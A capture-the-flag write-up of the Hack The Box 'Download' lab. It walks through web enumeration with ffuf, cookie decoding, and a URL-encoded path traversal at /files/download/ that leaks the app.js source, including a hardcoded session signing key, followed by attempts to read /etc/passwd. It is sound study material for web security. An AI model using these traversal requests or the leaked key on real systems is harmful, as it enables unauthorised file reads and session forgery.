Web


Nmap discovered a web server on the port 80 The running service is nginx 1.18.0

Webroot The website appears to provide a file transfer service via uploading

Wappalyzer identified technologies involved. It’s very much likely a Node app

The web root only has 2 transitive endpoints

Fuzzing


┌──(kali㉿kali)-[~/archive/htb/labs/download]
└─$ ffuf -c -w /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -u http://download.htb/FUZZ -ic -e .txt,.php,.js -fw 451
________________________________________________
 
 :: Method           : GET
 :: URL              : http://download.htb/FUZZ
 :: Wordlist         : FUZZ: /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt
 :: Extensions       : .txt .php .js 
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200,204,301,302,307,401,403,405,500
 :: Filter           : Response words: 451
________________________________________________
[Status: 302, Size: 33, Words: 4, Lines: 1, Duration: 92ms]
    * FUZZ: home
 
[Status: 301, Size: 179, Words: 7, Lines: 11, Duration: 89ms]
    * FUZZ: static
 
[Status: 302, Size: 33, Words: 4, Lines: 1, Duration: 84ms]
    * FUZZ: HOME
 
[Status: 301, Size: 179, Words: 7, Lines: 11, Duration: 212ms]
    * FUZZ: Static
 
:: Progress: [882188/882188] :: Job [1/1] :: 301 req/sec :: Duration: [0:50:46] :: Errors: 0 ::

Not much found.

Unauthenticated File upload


Testing the unauthenticated file uploading It’s available at /file/upload

The file seems to have been successfully uploaded and I am given a link for sharing The link is for this exact page; /view/e552b67e-a17b-45c5-91ac-2f816d63e875

The Download button seems to suggest that that is where the actual location of the upload file is /files/download/e552b67e-a17b-45c5-91ac-2f816d63e875 This tells me that the uploaded files are re-named

Another interesting thing to note is that there are 2 cookies; download_session and download_session.sig

There also seems to be a file size filter

A few additional testings with different extensions

┌──(kali㉿kali)-[~/archive/htb/labs/download]
└─$ echo 'eyJmbGFzaGVzIjp7ImluZm8iOltdLCJlcnJvciI6W10sInN1Y2Nlc3MiOlsiWW91ciBmaWxlIHdhcyBzdWNjZXNzZnVsbHkgdXBsb2FkZWQuIl19fQ==' | base64 -d
{"flashes":{"info":[],"error":[],"success":["Your file was successfully uploaded."]}}         
 
┌──(kali㉿kali)-[~/archive/htb/labs/download]
└─$ echo 'kTGp5oEdDuQmHT8nWM_jJexbhho' | base64 -d
�1���&?'xbase64: invalid input

While the download_session cookie is a JSON data encoded in base64 string that gives out some information, I couldn’t figure out the other cookie; download_session.sig, but I’d assume that it’s got to do with encryption and its signature based on its extension

Authentication


The Login button leads to the authentication page There is the Register Here button

Creating a testing account; tester:qwe123

The POST data is very much straight forward with 2 parameters; username and password

Now that I am authenticated, I am taken to /home/ and it shows the uploaded files There’s obviously none since the account was just created, but I’d assume that files are saved if uploaded through an authenticated session as opposed to the unauthenticated file upload that seems to remove the uploaded files periodically

Authenticated File Upload


The file uploading feature via an authenticated session differs from the unauthenticated session as it takes the additional parameter to mark the uploaded file as private to only be downloadable by the uploader

┌──(kali㉿kali)-[~/archive/htb/labs/download]
└─$ echo 'eyJmbGFzaGVzIjp7ImluZm8iOltdLCJlcnJvciI6W10sInN1Y2Nlc3MiOltdfSwidXNlciI6eyJpZCI6MTgsInVzZXJuYW1lIjoidGVzdGVyIn19' | base64 -d
{"flashes":{"info":[],"error":[],"success":[]},"user":{"id":18,"username":"tester"}}                                                                                                                                        
┌──(kali㉿kali)-[~/archive/htb/labs/download]
└─$ echo 'eyJmbGFzaGVzIjp7ImluZm8iOltdLCJlcnJvciI6W10sInN1Y2Nlc3MiOlsiWW91ciBmaWxlIHdhcyBzdWNjZXNzZnVsbHkgdXBsb2FkZWQuIl19LCJ1c2VyIjp7ImlkIjoxOCwidXNlcm5hbWUiOiJ0ZXN0ZXIifX0=' | base64 -d
{"flashes":{"info":[],"error":[],"success":["Your file was successfully uploaded."]},"user":{"id":18,"username":"tester"}}                                                                                                                                       

While the file upload is successful, decoding the download_session cookie reveals some additional information It seems the current testing account, tester, has id set to 18 I’d assume there are either 17 or 18 other users prior (18 if id=0 exists)

The uploaded file is indeed marked as (Privated)

Both the page itself and the download link are not accessible from an unauthenticated session Access control is likely enforced through those cookies

LFI? or File Read


I found out that there is something unusual happening at the endpoint; /files/download/ As discovered earlier, the endpoint serves uploaded files for download and I initially believed that /files/download/ is an actual directory that those uploaded are re-named and saved to. However, this doesn’t seem to be the case as the other endpoint, /files/view/, also shows those re-named files.

So a new theory came up that those what-thought-to-be-filenames aren’t re-named filenames, but just variables. Much like pointers in C/C++.

┌──(kali㉿kali)-[~/archive/htb/labs/download]
└─$ ffuf -c -w /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -u http://download.htb/files/download/..%2FFUZZ -ic -e .js -fw 451
________________________________________________
 
 :: Method           : GET
 :: URL              : http://download.htb/files/download/..%2FFUZZ
 :: Wordlist         : FUZZ: /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt
 :: Extensions       : .js 
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200,204,301,302,307,401,403,405,500
 :: Filter           : Response words: 451
________________________________________________
 
[Status: 200, Size: 2168, Words: 226, Lines: 50, Duration: 92ms]
    * FUZZ: app.js
 
:: Progress: [441094/441094] :: Job [1/1] :: 125 req/sec :: Duration: [0:31:28] :: Errors: 0 ::

Fuzzing the endpoint, /files/download/ WITH ..%2F, which is ../ encoded in URL format, reveals a file; app.js Interestingly, ../ didn’t workout as there likely is a security measure in place. Additionally, fuzzing was done UNAUTHENTICATED

In an Express.js web application, app.js is a common filename used for the main application file that sets up and configures the Express framework

I can confirm that with curl

┌──(kali㉿kali)-[~/archive/htb/labs/download]
└─$ curl 'http://download.htb/files/download/..%2Fapp.js'
"use strict";
var __importDefault = (this && this.__importDefault) || function (mod) {
    return (mod && mod.__esModule) ? mod : { "default": mod };
};
Object.defineProperty(exports, "__esModule", { value: true });
const express_1 = __importDefault(require("express"));
const nunjucks_1 = __importDefault(require("nunjucks"));
const path_1 = __importDefault(require("path"));
const cookie_parser_1 = __importDefault(require("cookie-parser"));
const cookie_session_1 = __importDefault(require("cookie-session"));
const flash_1 = __importDefault(require("./middleware/flash"));
const auth_1 = __importDefault(require("./routers/auth"));
const files_1 = __importDefault(require("./routers/files"));
const home_1 = __importDefault(require("./routers/home"));
const client_1 = require("@prisma/client");
const app = (0, express_1.default)();
const port = 3000;
const client = new client_1.PrismaClient();
const env = nunjucks_1.default.configure(path_1.default.join(__dirname, "views"), {
    autoescape: true,
    express: app,
    noCache: true,
});
app.use((0, cookie_session_1.default)({
    name: "download_session",
    keys: ["8929874489719802418902487651347865819634518936754"],
    maxAge: 7 * 24 * 60 * 60 * 1000,
}));
app.use(flash_1.default);
app.use(express_1.default.urlencoded({ extended: false }));
app.use((0, cookie_parser_1.default)());
app.use("/static", express_1.default.static(path_1.default.join(__dirname, "static")));
app.get("/", (req, res) => {
    res.render("index.njk");
});
app.use("/files", files_1.default);
app.use("/auth", auth_1.default);
app.use("/home", home_1.default);
app.use("*", (req, res) => {
    res.render("error.njk", { statusCode: 404 });
});
app.listen(port, process.env.NODE_ENV === "production" ? "127.0.0.1" : "0.0.0.0", () => {
    console.log("Listening on ", port);
    if (process.env.NODE_ENV === "production") {
        setTimeout(async () => {
            await client.$executeRawUnsafe(`COPY (SELECT "User".username, sum("File".size) FROM "User" INNER JOIN "File" ON "File"."authorId" = "User"."id" GROUP BY "User".username) TO '/var/backups/fileusages.csv' WITH (FORMAT csv);`);
        }, 300000);
    }
});

This is the app.js file, source code of the target web application. The endpoint, /files/download/, doesn’t seem to have any form of input sanitization, resulting local file inclusion to download whatever supplied to it. (still considered to be LFI since execution itself is to “download” ONLY through /files/download/? rather than LFI code execution in PHP)

This gives an attacker opportunity to enumerate the target web application by reading the source code

┌──(kali㉿kali)-[~/…/htb/labs/download/web]
└─$ curl -s 'http://download.htb/files/download/..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd'
┌──(kali㉿kali)-[~/…/htb/labs/download/web]
└─$ curl -s 'http://download.htb/files/download/..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd'
┌──(kali㉿kali)-[~/…/htb/labs/download/web]
└─$ curl -s 'http://download.htb/files/download/..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd'
┌──(kali㉿kali)-[~/…/htb/labs/download/web]
└─$ curl -s 'http://download.htb/files/download/..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd'
┌──(kali㉿kali)-[~/…/htb/labs/download/web]
└─$ curl -s 'http://download.htb/files/download/..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd'
┌──(kali㉿kali)-[~/…/htb/labs/download/web]
└─$ curl -s 'http://download.htb/files/download/..%2F..%2F..%2F..%2Fetc%2Fpasswd'
┌──(kali㉿kali)-[~/…/htb/labs/download/web]
└─$ curl -s 'http://download.htb/files/download/..%2F..%2F..%2Fetc%2Fpasswd'
┌──(kali㉿kali)-[~/…/htb/labs/download/web]
└─$ curl -s 'http://download.htb/files/download/..%2F..%2Fetc%2Fpasswd'
<html>
<head><title>400 Bad Request</title></head>
<body>
<center><h1>400 Bad Request</h1></center>
<hr><center>nginx/1.18.0 (Ubuntu)</center>
</body>
</html>

Unable to LFI to the /etc/passwd file The LFI seems to be LIMITED to the web environment ONLY.